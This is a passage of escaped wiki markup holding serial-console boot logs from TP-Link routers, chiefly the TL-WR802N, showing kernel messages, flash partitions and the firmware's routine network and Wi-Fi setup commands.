[ util_execSystem ] 139:  prepareDropbear cmd is &amp;quot;dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_host_key -d /var/tmp/dropbear/dropbear_dss_host_key -A /var/tmp/dropbear/dropbearpwd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~ #&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Wireless N - Nano Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
115200 (8N1)&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Linux version 2.6.36 (jenkins@mobile-System) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Sun Apr 28 17:33:31 CST 2019&lt;br /&gt;
&lt;br /&gt;
 The CPU feqenuce set to 575 MHz&lt;br /&gt;
&lt;br /&gt;
 MIPS CPU sleep mode enabled.&lt;br /&gt;
CPU revision is: 00019655 (MIPS 24Kc)&lt;br /&gt;
Software DMA cache coherency&lt;br /&gt;
Determined physical RAM map:&lt;br /&gt;
 memory: 04000000 @ 00000000 (usable)&lt;br /&gt;
Initrd not found or empty - disabling initrd&lt;br /&gt;
Zone PFN ranges:&lt;br /&gt;
  Normal   0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Movable zone start PFN for each node&lt;br /&gt;
early_node_map[1] active PFN ranges&lt;br /&gt;
    0: 0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Primary instruction cache 64kB, VIPT, , 4-waylinesize 32 bytes.&lt;br /&gt;
Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&lt;br /&gt;
Writing ErrCtl register=0005e136&lt;br /&gt;
Readback ErrCtl register=0005e136&lt;br /&gt;
Memory: 61424k/65536k available (2414k kernel code, 4112k reserved, 636k data, 160k init, 0k highmem)&lt;br /&gt;
NR_IRQS:128&lt;br /&gt;
console [ttyS1] enabled&lt;br /&gt;
Calibrating delay loop... 386.04 BogoMIPS (lpj=772096)&lt;br /&gt;
pid_max: default: 4096 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
Switching to clocksource Ralink Systick timer&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
squashfs: version 4.0 (2009/01/31) Phillip Lougher&lt;br /&gt;
fuse init (API version 7.15)&lt;br /&gt;
msgmni has been set to 119&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
Ralink gpio driver initialized&lt;br /&gt;
i2cdrv_major = 218&lt;br /&gt;
Serial: 8250/16550 driver, 2 ports, IRQ sharing enabled&lt;br /&gt;
serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A&lt;br /&gt;
serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A&lt;br /&gt;
brd: module loaded&lt;br /&gt;
flash manufacture id: ef, device id 40 17&lt;br /&gt;
W25Q64BV(ef 40170000) (8192 Kbytes)&lt;br /&gt;
mtd .name = raspi, .size = 0x00800000 (8M) .erasesize = 0x00010000 (64K) .numeraseregions = 0&lt;br /&gt;
Creating 7 MTD partitions on &amp;quot;raspi&amp;quot;:&lt;br /&gt;
0x000000000000-0x000000020000 : &amp;quot;boot&amp;quot;&lt;br /&gt;
0x000000020000-0x000000160000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x000000160000-0x0000007c0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd: partition &amp;quot;rootfs&amp;quot; set to be root filesystem&lt;br /&gt;
0x0000007c0000-0x0000007d0000 : &amp;quot;config&amp;quot;&lt;br /&gt;
0x0000007d0000-0x0000007e0000 : &amp;quot;romfile&amp;quot;&lt;br /&gt;
0x0000007e0000-0x0000007f0000 : &amp;quot;rom&amp;quot;&lt;br /&gt;
0x0000007f0000-0x000000800000 : &amp;quot;radio&amp;quot;&lt;br /&gt;
Register flash device:flash0&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP MPPE Compression module registered&lt;br /&gt;
NET: Registered protocol family 24&lt;br /&gt;
Mirror/redirect action on&lt;br /&gt;
u32 classifier&lt;br /&gt;
    Actions configured&lt;br /&gt;
Netfilter messages via NETLINK v0.30.&lt;br /&gt;
nf_conntrack version 0.5.0 (959 buckets, 3836 max)&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team, Type=Linux&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
ip6_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
Ebtables v2.0 registered&lt;br /&gt;
802.1Q VLAN Support v1.8 Ben Greear &amp;lt;greearb@candelatech.com&amp;gt;&lt;br /&gt;
All bugs added by David S. Miller &amp;lt;davem@redhat.com&amp;gt;&lt;br /&gt;
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing unused kernel memory: 160k freed&lt;br /&gt;
starting pid 34, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
cp: can&#039;t stat &#039;/etc/SingleSKU_FCC.dat&#039;: No such file or directory&lt;br /&gt;
rdm_major = 253&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) 74-ffffffda-ffffff88-fffffffc-ffffffc3-ffffffae&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
Ralink APSoC Ethernet Driver Initilization. v3.1  256 rx/tx descriptors allocated, mtu = 1500!&lt;br /&gt;
NAPI enable, Tx Ring = 256, Rx Ring = 256&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) 74-ffffffda-ffffff88-fffffffc-ffffffc3-ffffffae&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
PROC INIT OK!&lt;br /&gt;
add domain:tplinkwifi.net&lt;br /&gt;
add domain:tplinkap.net&lt;br /&gt;
add domain:tplinkrepeater.net&lt;br /&gt;
add domain:tplinklogin.net&lt;br /&gt;
tp_domain init ok&lt;br /&gt;
L2TP core driver, V2.0&lt;br /&gt;
PPPoL2TP kernel driver, V2.0&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
Set: phy[0].reg[4] = 01e1&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[4] = 01e1&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[4] = 01e1&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[4] = 01e1&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[4] = 01e1&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
turn off flow control over.&lt;br /&gt;
starting pid 82, tty &#039;/dev/ttyS1&#039;: &#039;/bin/sh&#039;&lt;br /&gt;
~ # [ util_execSystem ] 141:  ipt_init cmd is &amp;quot;/var/tmp/dconf/rc.router&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ dm_readFile ] 2061:  can not open xml file /var/tmp/pc/reduced_data_model.xml!, about to open file /etc/reduced_data_model.xml&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0xa1b0, ret 0, retlen 0xa1b0&lt;br /&gt;
===&amp;gt;Enter Routerspiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
 mode&lt;br /&gt;
[ oal_sys_readMaspiflash_ioctl_read, Read from 0x007df200 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
cFlash ] 1174:  spiflash_ioctl_read, Read from 0x007df300 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
set flash mac : spiflash_ioctl_read, Read from 0x007df400 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
74:DA:88:FC:C3:Aspiflash_ioctl_read, Read from 0x007df500 length 0x29, ret 0, retlen 0x29&lt;br /&gt;
E.&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df600 length 0x21, ret 0, retlen 0x21&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x00020000 length 0x1d0, ret 0, retlen 0x1d0&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
[ oal_sys_readMacFlash ] 1174:  set flash mac : 74:DA:88:FC:C3:AE.&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2001 error&lt;br /&gt;
Get SNTP new config&lt;br /&gt;
[ util_execSystem ] 141:  oal_startDynDns cmd is &amp;quot;dyndns /var/tmp/dconf/dyndns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startNoipDns cmd is &amp;quot;noipdns /var/tmp/dconf/noipdns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startCmxDns cmd is &amp;quot;cmxdns /var/tmp/dconf/cmxdns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ioctl: No such device&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addBridge cmd is &amp;quot;brctl addbr br0;brctl setfd br0 0;brctl stp br0 off&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_addLanRules cmd is &amp;quot;iptables -t filter -A INPUT -i br+ -j ACCEPT&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIntf cmd is &amp;quot;ifconfig br0 192.168.1.1 netmask 255.255.255.0 up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_util_setProcLanAddr cmd is &amp;quot;echo &amp;quot;br0 16885952,&amp;quot;Raeth v3.1 ( &amp;gt; /proc/net/conNAPI&lt;br /&gt;
ntract_LocalAddr,SkbRecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ util_exec)&lt;br /&gt;
System ] 141:  o&lt;br /&gt;
phy_tx_ring = 0x030cf000, tx_ring = 0xa30cf000&lt;br /&gt;
al_intf_enableIn&lt;br /&gt;
phy_rx_ring0 = 0x030d0000, rx_ring0 = 0xa30d0000&lt;br /&gt;
tf cmd is &amp;quot;ifcon[fe_sw_init:5350]rt305x_esw_init.&lt;br /&gt;
fig eth0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
disable switch phyport...&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
RT305x_ESW: Link Status Changed&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 1 : [3]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 2 : [4]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 3 : [5]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 4 : [6]&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.3 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.3 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.4 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.4 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.5 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.5 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 6&amp;quot;&lt;br /&gt;
[ util_execSystem ] device eth0.3 entered promiscuous mode&lt;br /&gt;
141:  oal_intf_edevice eth0 entered promiscuous mode&lt;br /&gt;
nableIntf cmd isbr0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
 &amp;quot;ifconfig eth0.br0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
6 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.6 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagdevice eth0.4 entered promiscuous mode&lt;br /&gt;
Intf cmd is &amp;quot;vcobr0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
nfig add eth0 2&amp;quot;br0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
device eth0.5 entered promiscuous mode&lt;br /&gt;
&lt;br /&gt;
set if eth0.2 tbr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
o wan dev&lt;br /&gt;
[ vlabr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
n_addLanPortsIntoBridge ] 606:  add lan Port 255 from br0&lt;br /&gt;
[ util_execSystem ] 1device eth0.6 entered promiscuous mode&lt;br /&gt;
41:  oal_br_addIbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
ntfIntoBridge cmbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
d is &amp;quot;brctl addif br0 eth0.3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  rsl_initIPv6CfgObj cmd is &amp;quot;echo 1 &amp;gt; /proc/sys/net/ipv6/conf/all/disable_ipv6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_eth_setIGMPSnoopParam cmd is &amp;quot;for i in /sys/devices/virtual/net/*/bridge/multicast_snooping;do echo 1 &amp;gt; $i ; done&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_CE.dat /var/Wireless/RT2860AP/SingleSKU.dat&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv ra0 set CountryRegion=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ra0       no private ioctls.&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/mt_wifi_ap/mt_wifi.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.4: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.5: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.6: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.2: link becomes ready&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c085d000, size = 1509896 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x&lt;br /&gt;
&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
RtmpChipOpsHook(492): Not support for HIF_MT yet!&lt;br /&gt;
mt7628_init()--&amp;gt;&lt;br /&gt;
mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))&lt;br /&gt;
e2.bin mt7628_init(1156)::(2), pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
mt_bcn_buf_init(218): Not support for HIF_MT yet!&lt;br /&gt;
&amp;lt;--mt7628_init()&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig ra0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
TX_BCN DESC a32b6000 size = 320&lt;br /&gt;
RX[0] DESC a32b8000 size = 2048&lt;br /&gt;
RX[1] DESC a32b9000 size = 2048&lt;br /&gt;
RT_CfgSetApcliMacAddress : invalid mac setting&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
wmode_band_equal(): Band Equal!&lt;br /&gt;
AndesSendCmdMsg: Could not send in band command due to diable fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD&lt;br /&gt;
APSDCapable[0]=0&lt;br /&gt;
APSDCapable[1]=0&lt;br /&gt;
APSDCapable[2]=0&lt;br /&gt;
APSDCapable[3]=0&lt;br /&gt;
APSDCapable[4]=0&lt;br /&gt;
APSDCapable[5]=0&lt;br /&gt;
APSDCapable[6]=0&lt;br /&gt;
APSDCapable[7]=0&lt;br /&gt;
APSDCapable[8]=0&lt;br /&gt;
APSDCapable[9]=0&lt;br /&gt;
APSDCapable[10]=0&lt;br /&gt;
APSDCapable[11]=0&lt;br /&gt;
APSDCapable[12]=0&lt;br /&gt;
APSDCapable[13]=0&lt;br /&gt;
APSDCapable[14]=0&lt;br /&gt;
APSDCapable[15]=0&lt;br /&gt;
default ApCliAPSDCapable[0]=0&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
[RTMPReadParametersHook:297]wifi read profile faild.&lt;br /&gt;
load fw image from fw_header_image&lt;br /&gt;
AndesMTLoadFwMethod1(2263)::pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
FW Version:1&lt;br /&gt;
FW Build Date:20161213152835&lt;br /&gt;
CmdAddressLenReq:(ret = 0)&lt;br /&gt;
CmdFwStartReq: override = 1, address = 1048576&lt;br /&gt;
CmdStartDLRsp: WiFI FW Download Success&lt;br /&gt;
MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)&lt;br /&gt;
efuse_probe: efuse = 10000012&lt;br /&gt;
RtmpChipOpsEepromHook::e2p_type=0, inf_Type=4&lt;br /&gt;
RtmpEepromGetDefault::e2p_dafault=2&lt;br /&gt;
RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 2&lt;br /&gt;
NVM is FLASH mode&lt;br /&gt;
1. Phy Mode = 14&lt;br /&gt;
exec!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f0000 length 0x400, ret 0, retlen 0x400&lt;br /&gt;
tx or rx disable[f0000300][count=0]!!!&lt;br /&gt;
eeFlashId = 0x7628!&lt;br /&gt;
tx or rx disable[f0000300][count=1]!!!&lt;br /&gt;
Country Region from e2p = ffff&lt;br /&gt;
tssi_1_target_pwr_g_band = 34&lt;br /&gt;
2. Phy Mode = 14&lt;br /&gt;
3. Phy Mode = 14&lt;br /&gt;
NICInitPwrPinCfg(11): Not support for HIF_MT yet!&lt;br /&gt;
NICInitializeAsic(651): Not support rtmp_mac_sys_reset () for HIF_MT yet!&lt;br /&gt;
mt_mac_init()--&amp;gt;&lt;br /&gt;
MtAsicInitMac()--&amp;gt;&lt;br /&gt;
mt7628_init_mac_cr()--&amp;gt;&lt;br /&gt;
MtAsicSetMacMaxLen(1277): Set the Max RxPktLen=450!&lt;br /&gt;
&amp;lt;--mt_mac_init()&lt;br /&gt;
        WTBL Segment 1 info:&lt;br /&gt;
tx or rx disable[f0000300][count=2]!!!&lt;br /&gt;
Reset tx rx bit!!!&lt;br /&gt;
                MemBaseAddr/FID:0x28000/0&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
        WTBL Segment 2 info:&lt;br /&gt;
                MemBaseAddr/FID:0x40000/0&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 3 info:&lt;br /&gt;
                MemBaseAddr/FID:0x42000/64&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 4 info:&lt;br /&gt;
                MemBaseAddr/FID:0x44000/128&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
AntCfgInit(2940): Not support for HIF_MT yet!&lt;br /&gt;
MCS Set = ff ff 00 00 01&lt;br /&gt;
MtAsicSetChBusyStat(861): Not support for HIF_MT yet!&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: RxDCOC Set DC Valid(8)(2)&lt;br /&gt;
&lt;br /&gt;
tx or rx disable[f0000300][count=0]!!!&lt;br /&gt;
CmdSlotTimeSet:(ret = 0)&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=0, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
[PMF]RTMPMakeRsnIeCap: RSNIE Capability MFPC=0, MFPR=0&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=1, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
MtAsicSetRalinkBurstMode(3156): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPiggyBack(796): Not support for HIF_MT yet!&lt;br /&gt;
reload DPD from flash , 0x9F = [ca00] doReload bit7[0]&lt;br /&gt;
CmdLoadDPDDataFromFlash: Channel = 3, DoReload = 0&lt;br /&gt;
MtAsicSetTxPreamble(3135): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicAddSharedKeyEntry(1344): Not support for HIF_MT yet!&lt;br /&gt;
The 4-BSSID mode is enabled, the BSSID byte5 MUST be the multiple of 4&lt;br /&gt;
MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0&lt;br /&gt;
ap_ftkd&amp;gt; Initialize FT KDP Module...&lt;br /&gt;
Main bssid = 74:da:88:fc:c3:ae&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
mt7628_set_ed_cca: TURN ON EDCCA mac 0x10618 = 0xd7c87d0f, EDCCA_Status=1&lt;br /&gt;
WiFi Startup Cost (ra0): 3.464s&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_24G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlanSet_ed_chk_proc()::ed_chk=0&lt;br /&gt;
_ra_initWlan cmdmt7628_set_ed_cca: TURN OFF EDCCA  mac 0x10618 = 0xd7083f0f, EDCCA_Status=0&lt;br /&gt;
 is &amp;quot;iwpriv ra0 set ed_chk=0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv ra0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd device ra0 entered promiscuous mode&lt;br /&gt;
is &amp;quot;brctl addif br0: port 5(ra0) entering forwarding state&lt;br /&gt;
br0 ra0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
br0: port 5(ra0) entering forwarding state&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctldevice apcli0 entered promiscuous mode&lt;br /&gt;
 addif br0 apcli0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is device ra1 entered promiscuous mode&lt;br /&gt;
&amp;quot;brctl addif br0 ra1&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmspiflash_ioctl_read, Read from 0x007f0000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
d is &amp;quot;wlNetlinkTool &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
WLAN-Start wlNetlinkTool&lt;br /&gt;
Waiting for Wireless Events from interfaces...&lt;br /&gt;
swWlanChkAhbErr: netlink to do&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ oal_wlan_ra_loadDriver ] 2040:  no 5G chip.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ rsl_initLanWlanObj ] 9419:  perror:1&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2030 error&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2004 error&lt;br /&gt;
[ util_execSystem ] 141:  oal_startDhcps cmd is &amp;quot;dhcpd /var/tmp/dconf/udhcpd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_lan6_startDhcp6s cmd is &amp;quot;dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run/dhcp6s_br0.pid br0 &amp;amp;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_lan6_startRadvd cmd is &amp;quot;radvd -C /var/tmp/dconf/radvd_br0.conf -p /var/run/radvd_br0.pid &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startSnmp cmd is &amp;quot;snmpd -f /var/tmp/dconf/snmpd.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
mldProxy# file: src/mld_ifinfo.c;line: 102; error = No such file or directory&lt;br /&gt;
mldProxy# Err: get LLA failed&lt;br /&gt;
